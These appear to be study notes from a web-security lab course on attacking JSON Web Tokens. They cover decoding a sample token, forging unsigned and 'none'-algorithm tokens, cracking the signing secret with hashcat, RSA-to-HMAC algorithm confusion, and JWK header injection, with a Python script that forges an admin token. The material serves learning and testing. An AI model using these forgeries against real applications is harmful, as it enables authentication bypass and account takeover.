Example cookie. JWT contains 3 parts: header, body and signature, with each part being base64 encoded.
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiaHRiLXN0ZG50IiwiaXNBZG1pbiI6ZmFsc2UsImV4cCI6MTc2NjYzMjg2Nn0.U6Ch4VWz15KfJJPIJryLfWnHNV2dc5jk9OmKECKYPccIf we base64 decode the header, this is what it looks like. alg is algorithm used to create signature, in this case, HMAC-SHA256
echo 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9' | base64 -d | jq
{
"alg": "HS256",
"typ": "JWT"
}If we continue to decode body, this is what it looks like. It describe our session.
echo 'eyJ1c2VyIjoiaHRiLXN0ZG50IiwiaXNBZG1pbiI6ZmFsc2UsImV4cCI6MTc2NjYzMjg2Nn0' | base64 -d | jq
{
"user": "htb-stdnt",
"isAdmin": false,
"exp": 1766632866
}And the signature is just unreadable binary used to verify the body
Tools#
git clone https://github.com/ticarpi/jwt_tool
cd jwt_tool
python3 -m venv .venv
source .venv/bin/activatesee help
python3 jwt_tool.pyMissing Signature Verification#
This is extremely rare. But we can just forge a JWT on our own with any key we want. Since the webapp doesn’t care about the signature, it will just let us in
Go to CyberChef, search jwt, drag JWT Sign into recipe, enter any secret, copy-paste base64-decoded body of JWT cookie, copy the output

After this, just replace the cookie in your browser with this
None Algorithm#
JWT also supports None algorithm. So we can forge a ticket with no signing, use {"alg": "none"} in JWT header.
Even though there are no signature, we still have to leave the dot . at the end

Cracking Secret#
hashcat -m 16500 '<JWT Cookie>' /usr/share/wordlists/rockyou.txtThen forge the cookie using CyberChef like above
Algorithm Confusion#
If webapp uses a asymmetric algorithm (have public and private key) to sign the cookie, we can confuse it by signing a cookie with a symmetric algorithm For example:
- The webapp use RSA private key to sign the cookie.
- We get the cookie and send it back to webapp to verify our identity.
- The webapp use the RSA public key to verify our cookie.
That’s a normal flow, but let’s say we confuse it
- We extract the RSA public key out of the cookie
- We edit and sign the cookie using the RSA Public Key, but HMAC-SHA256 algorithm, which is a symmetric algorithm
- The webapp verify the cookie using the same RSA Public Key, but this time using HMAC-SHA256 algorithm
- Since HMAC-SHA256 is a symetric algorithm, which means there is only one key to sign and verify
- The cookie is valid, since we sign it with the same key the webapp use to verify
- We got in
Extract RSA Public Key#
We can use this repo to extract publickey. Fortunately they have a docker container. We build it
git clone https://github.com/silentsignal/rsa_sign2n
cd rsa_sign2n/standalone/
docker build . -t sig2nThen run it, get a shell on the container
docker run -it sig2n /bin/bashAnd extract the key. Note that we need 2 cookies for this. You just need to log out and log in twice to get 2 cookies.
python3 jwt_forgery.py <JWT RSA SIGNED COOKIE 1> <JWT RSA SIGNED COOKIE 2>Then test the cookie the tool spits out on the webapp. If it doesn’t work(we don’t have a session), the webapp is not vulnerable
Forging Token#
The tool also spits out the RSA public key. Just cat it, go to CyberChef and forge a token like above attacks
Remember to add a newline \n at the end of public key
Exploit JWK#
JWK(JSON Web Key) is a claim in JWT header. It provides a public key to verify the token
We can exploit it by generate our own private and public key, put our public key into the JWK claim and sign using our private key
First, we generate our own key pair
openssl genpkey -algorithm RSA -out exploit_private.pem -pkeyopt rsa_keygen_bits:2048
openssl rsa -pubout -in exploit_private.pem -out exploit_public.pemAnd then sign it using CyberChef or use this python script
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
from jose import jwk
import jwt
# JWT Payload
jwt_payload = {'user': 'htb-stdnt', 'isAdmin': True}
# convert PEM to JWK
with open('exploit_public.pem', 'rb') as f:
public_key_pem = f.read()
public_key = serialization.load_pem_public_key(public_key_pem, backend=default_backend())
jwk_key = jwk.construct(public_key, algorithm='RS256')
jwk_dict = jwk_key.to_dict()
# forge JWT
with open('exploit_private.pem', 'rb') as f:
private_key_pem = f.read()
token = jwt.encode(jwt_payload, private_key_pem, algorithm='RS256', headers={'jwk': jwk_dict})
print(token)Install dependencies
pip3 install pyjwt cryptography python-joseRun
python3 exploit.py